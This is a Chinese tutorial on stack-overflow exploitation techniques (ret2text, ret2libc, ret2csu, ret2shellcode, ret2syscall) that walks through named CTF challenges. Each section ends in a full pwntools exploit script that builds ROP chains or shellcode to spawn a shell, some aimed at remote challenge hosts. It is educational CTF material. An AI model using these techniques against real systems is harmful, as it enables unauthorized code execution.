想了一下,还是把之前学的一点Pwn放上来吧,本文的例题都是64位的程序,这些技术在32位程序上实际上也是类似的

ret2text

ret2text是控制程序执行程序本身已经有的代码(即.text段的代码),在控制程序执行代码的时候也可以执行几段不连续的已有代码(即gadgets),这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

例:[BJDCTF 2020]babystack2.0

题目:BJDCTF 2020-babystack2.0 | NSSCTF

checksec可以知道:

Arch:     amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
没有Canary和PIE,但是存在NX保护.

用IDA打开附件,可以看到:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}

可以看到如下栈,我们的目的是返回地址(也就是IDA变量栈中标注r的地方,那里实际上是main的返回地址)

-0000000000000010 buf             db 12 dup(?)
-0000000000000004 nbytes dq ?
+0000000000000004 db ? ; undefined
+0000000000000005 db ? ; undefined
+0000000000000006 db ? ; undefined
+0000000000000007 db ? ; undefined
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
同时程序提供了一个后门:
__int64 backdoor()  
{
system("/bin/sh");
return 1LL;
}
我们需要先输入一个int类型的nbytes<10,再输入对应长度的字符串buf(若超出nbytes的长度将无法读入,若nbytes为符合条件的正数,我们并不能通过buf来利用栈溢出漏洞),但是问题在于read(0, buf, (unsigned int)nbytes);处,nbytes会被转换成usigned int,显然我们可以输入-1让nbytes在转换的时候溢出,解除read的长度限制,从而达到通过buf实现栈溢出的效果。 查看汇编:

.text:0000000000400726                 public backdoor
.text:0000000000400726 backdoor proc near
.text:0000000000400726 ; __unwind {
.text:0000000000400726 push rbp
.text:0000000000400727 mov rbp, rsp
.text:000000000040072A mov edi, offset command ; "/bin/sh"
.text:000000000040072F call _system
.text:0000000000400734 mov eax, 1
.text:0000000000400739 pop rbp
.text:000000000040073A retn
.text:000000000040073A ; } // starts at 400726
.text:000000000040073A backdoor endp

看到backdoor函数的起始地址为0x400726,可以写出代码如下:

from pwn import *

io = remote("ip", port)
io.recvuntil(b"name:")
payload = b'-1'
io.sendline(payload)
io.recvuntil(b"name?")
payload = b'a' * 0x18 + p64(0x400726)
io.sendline(payload)
io.interactive()

ret2libc

ret2libc 即控制动态链接编译的程序执行 libc 中的函数,通常是返回至某个函数(通常是puts函数)的 plt 表地址或者函数的具体位置 (即函数对应的 got 表项的内容),一般情况下会选择劫持程序执行 system("/bin/sh"),故而此时我们需要知道 system函数的地址和/bin/sh的地址。 在Linux下,动态链接是通过plt和got来实现的,调用动态链接函数时会先去plt表和got表中寻找该函数的真实地址,plt表会指向got表中的地址,got表指向libc中的地址,所以在程序运行时:got表会包含函数的真实地址(即libc基址+函数相对libc的偏移),而我们可以通过plt表来直接调用函数。

利用ret2libc劫持程序一般有一个溢出点,要进行两次劫持:

  1. 第一次劫持:要劫持程序泄露出某个函数的地址(例如puts,write等),从而计算出libc的基址
  2. 第二次劫持:控制程序通过上面获得的libc基址,通过libc中system函数以及/bin/sh的偏移来执行system("/bin/sh")来获得shell

在第一次劫持中,我们一般要构造出通过输出函数(例如puts,write,printf)来输出待泄露函数的真实地址,从而计算出libc的基址,计算方法为:

lib基址=函数真实地址-该函数相对libc基址的偏移量(即该函数在libc中的地址)

下面以64位程序为基础,对通过puts函数和write函数进行函数真实地址泄露进行讲解:

puts函数

puts函数只有一个参数,这个参数所使用的寄存器为rdi寄存器:

Pasted image 20241111214941
Pasted image 20241111214941

为使用puts函数时,我们只需要通过pop rdi将参数从栈顶弹出到rdi寄存器中再调用puts函数进行输出即可,在ret2libc中,我们一般会在栈溢出后构造如下rop链:

pop_rdi→目标函数的got表地址→puts的plt表地址→要回到的函数地址(一般是main函数)

注:pop rdi一般会存在于__libc_csu_init之中,为pop r1541 5F)的后半部分(5F

这样之后,我们就可以读取到目标函数的真实地址,而在64位程序中,目标函数真实地址一般由7f开头且占8个字节,而在32位程序中,目标函数的真实地址一般以f7开头且占4个字节,那么在本题中我们可以通过下面这条语句来读出函数的真实地址:

u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) 

泄露出真实地址后,我们就可以通过LibcSearcher库或者libc-database来找到对应的libc版本(除非题目给了),从而计算出libc的基地址,然后就可以构造出system("/bin/sh")来获取shell了。

例:[BJDCTF 2020]babyrop

题目:BJDCTF 2020-babyrop | NSSCTF

通过IDA打开程序可以看见:

Pasted image 20241111222159
Pasted image 20241111222159

这里并没有system函数,checksec可以看到:

Pasted image 20241111222334
Pasted image 20241111222334

发现既没有Canary也没有PIE保护,所以判断需要通过ret2libc来获取shell,可以看到vuln函数内容为:

ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Pull up your sword and tell me u story!");
return read(0, buf, 0x64uLL);
}

明显read函数存在溢出,那么我们可以通过如下代码来构造payload来泄露puts函数的真实地址:

puts_plt = elf.plt['puts']  
puts_got = elf.got['puts']
pop_rdi = 0x400733
ret = 0x4004c9
vuln = 0x40067D

payload = b'a' * 0x20 + b'=Triode=' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
在获取puts的真实地址之后,我们就可以通过LibcSearcher来找到所有可能的libc版本(可能要多试几遍),或者我们可以通过泄露多个函数的真实地址来使用libc-database确定libc的版本:

通过LibcSearcher来找到libc版本

可以写出代码如下:

from pwn import *  
from LibcSearcher import *

p = remote("ip", port)
elf = ELF("./pwn")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400733
ret = 0x4004c9
vuln = 0x40067D

payload = b'a' * 0x20 + b'=Triode=' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)

p.sendlineafter(b"Pull up your sword and tell me u story!", payload)

puts_real = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("[+] The real address of puts is", hex(puts_real))

libc = LibcSearcher("puts", puts_real)
libc_base = puts_real - libc.dump("puts")
print("[+] The base address of libc is", hex(libc_base))

system = libc_base + libc.dump("system")
sh = libc_base + libc.dump("str_bin_sh")

payload = b'a' * 0x20 + b'=Triode=' + p64(pop_rdi) + p64(sh) + p64(system) + p64(vuln)

p.sendlineafter(b"Pull up your sword and tell me u story!", payload)
p.interactive()
多次尝试之后可以发现正确的版本为libc6_2.23-0ubuntu10_amd64,在进行如下交互之后我们就可以获得shell了:

Pasted image 20241111223428
Pasted image 20241111223428
通过libc-database确定libc版本

我们可以通过如下代码来输出putsread的真实地址:

from pwn import *  

p = remote("ip", port)
elf = ELF("./pwn")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
pop_rdi = 0x400733
ret = 0x4004c9
vuln = 0x40067D

payload = b'a' * 0x20 + b'=Triode=' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)

p.sendlineafter(b"Pull up your sword and tell me u story!", payload)

puts_real = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("[+] The real address of puts is", hex(puts_real))

payload = b'a' * 0x20 + b'=Triode=' + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(vuln)

p.sendlineafter(b"Pull up your sword and tell me u story!", payload)

read_real = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("[+] The real address of read is", hex(read_real))
得到:

Pasted image 20241111223802
Pasted image 20241111223802

(值得注意的是,由于libc每一次运行的基址都是不一样的,所以每一次运行得到的结果都不同),那么我们可以通过在libc-database中进行如下操作找到两个libc版本:

Pasted image 20241111223936
Pasted image 20241111223936

我们可以看到对于这两个libc版本关键内容如下:

Pasted image 20241111224157
Pasted image 20241111224157

对比发现关键内容均一致(特别是我们关心的system函数和/bin/sh字符串)

我们任选一个下载,之后通过如下代码就可以得到shell了:

from pwn import *  

p = remote("node4.anna.nssctf.cn", 28516)
elf = ELF("./pwn (8)")
libc = ELF("./libc6_2.23-0ubuntu10_amd64.so")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
pop_rdi = 0x400733
ret = 0x4004c9
vuln = 0x40067D

payload = b'a' * 0x20 + b'=Triode=' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)

p.sendlineafter(b"Pull up your sword and tell me u story!", payload)

puts_real = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("[+] The real address of puts is", hex(puts_real))

payload = b'a' * 0x20 + b'=Triode=' + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(vuln)

p.sendlineafter(b"Pull up your sword and tell me u story!", payload)

read_real = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("[+] The real address of read is", hex(read_real))

libc_base = puts_real - libc.sym["puts"]
print("[+] The base address of libc is", hex(libc_base))

system = libc_base + libc.sym["system"]
sh = libc_base + next(libc.search(b"/bin/sh"))

payload = b'a' * 0x20 + b'=Triode=' + p64(pop_rdi) + p64(sh) + p64(system) + p64(vuln)

p.sendlineafter(b"Pull up your sword and tell me u story!", payload)
p.interactive()

write函数

write函数有三个参数,这三个参数分别使用rdirsirdx三个寄存器,分别存储文件描述符fd(通常设置为1表示输出流),要输出的数据buf以及输出长度n

Pasted image 20241111225009
Pasted image 20241111225009

在一般情况下,程序中并不会刚刚好同时包含pop rdi; retnpop rsi; retn以及pop rdx; retn这三条语句,这种时候就要我们通过ret2csu技术来控制寄存器存入我们想要的值来获取目标函数的真实地址。

例:[HNCTF 2022 WEEK2]ret2csu

题目:HNCTF 2022 WEEK2-ret2csu | NSSCTF

checksec可以看到:

Pasted image 20241112125444
Pasted image 20241112125444

没有任何保护,所以可以通过ret2libc来获取shell,观察函数表:

Pasted image 20241112125551
Pasted image 20241112125551

发现没有puts函数,只有write函数,所以我们要考虑用write函数来泄露libc基址,查找pop rdipop rsi以及pop rdx可以看到:

Pasted image 20241112125825
Pasted image 20241112125825

pop rdx是缺失的,所以我们要利用ret2csu技术来向这三个寄存器内置入我们想要的值,我们要存入的值如下表:

register value
rdi 1
rsi write函数的got表地址
rdx 写数据的长度

ret2csu的一些细节在这里不多赘述,我们直接看__libc_csu_init函数的汇编,可以看到:

Pasted image 20241112130544
Pasted image 20241112130544

以及:

Pasted image 20241112130600
Pasted image 20241112130600

从第一块可以看出寄存器之间有如下对应关系:

  1. r14寄存器对应rdx
  2. r13寄存器对应rsi
  3. r12寄存器的低32位对应rdi的低32位(即edi

故对于第二块,几个寄存器中要存入的值如下表所示:

register value
rbx 0
rbp 1
r12 1
r13 write函数的got表地址
r14 写数据的长度
r15 write函数的got表地址

所以我们可以通过构造如下payload来获取write函数的got表地址:

payload = b'a' * 0x100 + b'=Triode=' + p64(pop_chain)  
payload += p64(0) #add rsp, 8
payload += p64(0) #pop rbx
payload += p64(1) #pop rbp
payload += p64(1) #pop r12
payload += p64(write_got) #pop r13
payload += p64(0x100) #pop r14
payload += p64(write_got) #pop r15
payload += p64(mov_reg) + b'a' * 0x38 + p64(main)

其中pop_chain=0x4012A6指从栈顶pop元素到寄存器的那串汇编,mov_reg=0x401290指移动寄存器的那串汇编。

那么我们就可以通过ret2libc来获得shell了,代码如下:

from pwn import *  

p = remote("node5.anna.nssctf.cn", 21504)

elf = ELF("./ret2csu")
libc = ELF("./libc.so.6")

write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = 0x4011DC

"""
write(fd, buf, count)
fd: rdi
buf: rsi
count: rdx
"""

pop_chain = 0x4012A6
mov_reg = 0x401290
pop_rdi = 0x4012b3
ret = 0x40101a

payload = b'a' * 0x100 + b'=Triode=' + p64(pop_chain)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(1)
payload += p64(write_got)
payload += p64(0x100)
payload += p64(write_got)
payload += p64(mov_reg) + b'a' * 0x38 + p64(main)

p.sendlineafter(b"Input:\n", payload)
write_real_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("[+] the real address of write is", hex(write_real_addr))

libc_base = write_real_addr - libc.sym["write"]
print("[+] the base address of libc is", hex(libc_base))

system = libc_base + libc.sym["system"]
sh = libc_base + next(libc.search(b"/bin/sh"))
print("[+] the address of system is", hex(system))
print("[+] the address of /bin/sh is", hex(sh))

payload = b'a' * 0x100 + b'=Triode=' + p64(pop_rdi) + p64(sh) + p64(system) + p64(ret)

p.sendlineafter(b"Input:\n", payload)

p.interactive()

(这题给了libc,就不用我们这么费心思去找了)

结果如下:

Pasted image 20241112134228
Pasted image 20241112134228

ret2csu

在64位程序中存在一段万能的gadgets代码,这段代码可以控制rbx,rbp,r12,r13,r14,r15,rdx,rsiedi(rdi的低32位),同时可以call指定的地址,而这段代码存在于__libc_csu_init(用于动态链接的程序中对libc的初始化)这个函数之中,这个函数的汇编代码如下(截取自某道题目的汇编代码):

Pasted image 20241112162146
Pasted image 20241112162146

值得我们注意的有两段:

第一段(记为csu1)为:

mov     rdx, r14
mov rsi, r13
mov edi, r12d
call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
add rbx, 1
cmp rbp, rbx
jnz short loc_401290

前三行分别表示: 1. 将寄存器r14的值赋给rdx 2. 将寄存器r13的值赋给rsi 3. 将寄存器r12的低32位的值赋给edirdi的低32位)

后面一行(ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8])会调用r15+rbx*8指向的函数(值得注意的是,有时候r12会与r15的用法对调);最后三行则表示将rbx+1rbp进行比较,若不相等则会重复执行这一段段汇编代码,在一般利用的时候,我们会令rbx等于0,而rbp等于1,这既能直接调用r15指向的函数,也能通过这个比较.

而值得注意的第二段(记为csu2)为:

add     rsp, 8
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn

这段代码首先将rsp加8,这行代码一般可以忽略,而后面则是依次将栈顶元素弹出至rbx,rbp,r12,r13,r14,r15通过这段汇编以及上面提到的那一段汇编,我们可以控制的寄存器有:rbx,rbp,rdx,rsi,rdi的低32位(即edi),r12,r13,r14r15,通过这两段代码,我们就可以控制很多参数,算是一段万能的gadgets.

在利用的时候,我们一般会先执行csu2,将一些我们想要的参数压入栈之后依次弹出到对应寄存器中,再去执行csu1,我们注意到,csu1的末尾并没有ret,也就是说,在执行完csu1之后,程序还会再次执行csu2,所以在构造payload的时候,若我们不需要再次操控寄存器的值,就可以在csu1之后添加一串长度为0x38(也就是7乘8)的垃圾数据(如果要操控就再构造一次就行)。

在csu2里面隐藏了一段pop rdi以及一段pop rsi,因为pop rdi的机器码为5F,而pop r15的机器码为41 5F,这个时候我们就可以截取pop r15的后半段来得到pop rdi;又由于pop rsi的机器码为5E,而而pop r14的机器码为41 5E,所以我们就可以截取pop r14的后半段来得到pop rsi,所以需要利用pop rdipop rsi两段汇编的时候往往会来这里找.

例:[0xgame 2024 Week1] ret2csu

题目附件在这里能找到:0xGame2024/Pwn at main · X1cT34m/0xGame2024

checksec可以看到:

Pasted image 20241113112943
Pasted image 20241113112943

并没有开启任何保护,看到main函数有:

Pasted image 20241113113338
Pasted image 20241113113338

这里让我们向something中输入一些东西,显然这个something在内存中,而后面要输入bufbuf的空间为16字节,但是可以输入的字节数为0x60,明显存在栈溢出,但是后面对buf的长度进行比较,要求不能超过0x10,我们可以通过\x00截断来绕过,现在我们看溢出之后我们需要执行什么操作,寻找发现有一个函数:

Pasted image 20241113113921
Pasted image 20241113113921

里面有一个需要传入参数的execve,可以看到它的三个参数分别为:

Pasted image 20241113114018
Pasted image 20241113114018

三个参数分别是:

  1. filename,存在rdi寄存器内,表示准备载入当前进程空间的新程序的路径名;
  2. argv[],存在rsi寄存器内,表示传给新进程的命令行参数;
  3. envp[],讯在rdx寄存器内,指定了新程序的环境列表.

所以我们要利用execve这个函数,我们向三个寄存器中存入数据的对应关系如下:

register value
rdi /bin/sh的地址
rsi 0
rdx 0

对于/bin/sh,我们可以通过向something中写入来得到,现在解决向函数内传入参数的问题,通过查找可以发现:

Pasted image 20241113130147
Pasted image 20241113130147

缺少pop rdx这一条重要的指令,所以我们考虑使用ret2csu,观察该程序的__libc_csu_init函数,可以发现有如下两段汇编:

第一段为(记作csu1):

loc_4013A0:
mov rdx, r14
mov rsi, r13
mov edi, r12d
call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
add rbx, 1
cmp rbp, rbx
jnz short loc_4013A0

第二段为(记作csu2):

add     rsp, 8
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn
csu1中各寄存器的对应关系,我们可以通过csu2向寄存器中存入如下数据:

register value
rbx 0
rbp 1
r12 /bin/sh的地址
r13 0
r14 0
r15 execve的got表地址

第一段为(记作csu1):

payload = b'\x00' * 0x10 + b'=Triode='
payload += p64(csu2)
payload += p64(0) # add rsp, 8
payload += p64(0) # pop rbx
payload += p64(1) # pop rbp
payload += p64(sh) # pop r12
payload += p64(0) # pop r13
payload += p64(0) # pop r14
payload += p64(execve_got) # pop r15
payload += p64(csu1)
payload += b'\x00' * 0x38 + p64(main)

所以我们可以写出攻击代码如下(由于赛题环境早已关闭,故这里在本地打):

from pwn import*

p = process("./pwn")
elf = ELF("./pwn")

csu1 = 0x4013A0
csu2 = 0x4013B6
sh = 0x404090
main = 0x401275
execve_got = elf.got["execve"]

p.sendlineafter(b'The little doll is tired, say goodnight to her~\n', b'/bin/sh\x00')

payload = b'\x00' * 0x10 + b'=Triode='
payload += p64(csu2)
payload += p64(0) # add rsp, 8
payload += p64(0) # pop rbx
payload += p64(1) # pop rbp
payload += p64(sh) # pop r12
payload += p64(0) # pop r13
payload += p64(0) # pop r14
payload += p64(execve_got) # pop r15
payload += p64(csu1)
payload += b'\x00' * 0x38 + p64(main)

p.sendlineafter(b'What else do you want to do?\n', payload)
p.interactive()
运行可以得到shell:

Pasted image 20241113132718
Pasted image 20241113132718

ret2shellcode

ret2shellcode指通过栈溢出控制程序执行shellcode,而shellcode往往需要我们自己编写,而在pwntools中可以利用asm(shellcraft.sh())进行编写,在一些情况下也会用到一些特殊的shellcode,此时我们要向程序中填充可执行的代码。

在栈溢出的基础上,若想执行shellcode,则我们写入shellcode的区域一定要有可执行权限(例如bss段,data段,没有被保护的stack段以及可写可执行的heap段)

例:[HNCTF 2022 Week1] ret2shellcode

题目:HNCTF 2022 Week1-ret2shellcode | NSSCTF

checksec可以看到:

Pasted image 20241113134704
Pasted image 20241113134704

发现堆栈不可执行,但是没有其他保护,利用IDA打开后可以看到main函数:

Pasted image 20241113134814
Pasted image 20241113134814

可以看到我们需要输入一个字符串s,发现在这个read函数处存在栈溢出,但只能刚刚好覆盖到返回地址,又可以看到:strcpy(buff, s)将我们输入的字符串s被复制到了buff上面,我们可以看到,buff是在bss段上的:

Pasted image 20241113135034
Pasted image 20241113135034

所以我们可以利用ret2shellcode技术,向buff中写入shellcode,然后通过栈溢出来执行buff中的shellcode即可,攻击代码如下:

from pwn import *

context.arch = "amd64"
p = remote("node5.anna.nssctf.cn", 25511)

shellcode = asm(shellcraft.sh())
buff = 0x4040A0

payload = shellcode.ljust(0x100, b'\x00') + b'=Triode=' + p64(buff)

p.sendline(payload)

p.interactive()

运行就可以得到shell了:

Pasted image 20241113135748
Pasted image 20241113135748

注:一般而言,程序都会开启堆栈保护,所以我们通常会向bss段或data段写入shellcode,有时候也会利用ret2csuret2syscall来向可读可写可执行区段写入shellcode来攻击

ret2syscall

ret2syscall顾名思义就是控制系统执行系统调用来获得shell,一般在程序静态链接的情况下使用(因为静态链接的时候没有办法使用ret2libc技术进行get shell)

在32位程序中,ret2syscall主要依赖于int 0x80汇编段,而在64位系统中,ret2syscall则主要依赖于syscall汇编段,这两段汇编都会通过调用一些寄存器的值来进行系统调用,Linux系统的系统调用可以实现的函数,对应的编号以及参数所存放的寄存器可以在Linux System Call Table中查询,常用的一般有readwrite以及execve。ret2syscall有时需要用到ret2csu的技术来向指定寄存器来写入想要的内容。

例:[CISCN 2023 初赛] 烧烤摊儿

题目:CISCN 2023 初赛-烧烤摊儿 | NSSCTF

通过file命令可以看到这是个静态链接的程序:

Pasted image 20250429233754
Pasted image 20250429233754

直接IDA反编译可以看到:

Pasted image 20250429232748
Pasted image 20250429232748

显然有一个类似商店菜单的东西,发现有个if ( own )的判断,交叉引用own这个变量发现会进入vip函数,该函数代码如下:

Pasted image 20250429233057
Pasted image 20250429233057

(因为编码问题,中文并不能正常显示)

通过对功能的分析可以大致知道当我们余额大于100000的时候可以把商店买下来(也就是让own等于1),此时我们就可以进入gaiming函数(可以给商店改名)。翻阅函数发现pijiu这个函数在购买的时候似乎并没有对数量进行限制:

Pasted image 20250429233343
Pasted image 20250429233343

也就是说我们可以通过购买负数数量的商品来让自己的余额增加,从而买下商店,先看看gaiming函数:

Pasted image 20250429233528
Pasted image 20250429233528

可以看到我们可以通过scanf输入字符串进行改名,并将改的名字放到处于data段上的name中,因为是静态链接的程序,所以并不能通过ret2libc技术来get shell,那么就可能需要使用ret2syscall技术来get shell了,通过ROPgadget可以找到syscall所在的位置:

Pasted image 20250429234159
Pasted image 20250429234159

通过查询可以知道在64位程序中execve的系统调用编号为0x3b(存放在rax寄存器中),且rdirsirdx寄存器中分别存放filenameargv以及envp,(三个参数的意义在ret2csu的例题中有提及)那么我们可以通过构造execve('/bin/sh', 0, 0)来实现获得shell,通过寻找可以分别找到pop raxpop rdipop rsi以及一条pop rdx pop rbx,那么就可以通过先向处于data段的name中存入/bin/sh,随后构造如下rop链即可通过ret2syscall来获得shell:

p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(sh) + p64(pop_rsi) + p64(0) + p64(pop_rdx_pop_rbx) + p64(0) + p64(0) + p64(syscall)

由此可以得到最终的攻击代码:

from pwn import *  

p = remote("ip", port)

pop_rdi = 0x40264f
pop_rax = 0x458827
pop_rsi = 0x40a67e
pop_rdx_pop_rbx = 0x4a404b
syscall = 0x402404
sh = 0x4E60F0

p.sendlineafter(b'> ', b'1')
p.recv()
p.sendline(b'1')
p.recv()
p.sendline(b'-1000000')

p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'> ', b'5')

payload = b'/bin/sh\x00' + b'a' * (0x20 - 8) + b'=Triode=' + p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(sh) + p64(pop_rsi) + p64(0) + p64(pop_rdx_pop_rbx) + p64(0) + p64(0) + p64(syscall)

p.recv()
p.sendline(payload)

p.interactive()
结果如下:

Pasted image 20250429235342
Pasted image 20250429235342

在一些情况下也可以通过ret2syscall来对其他函数进行调用来达到目标,在此就不过多赘述了.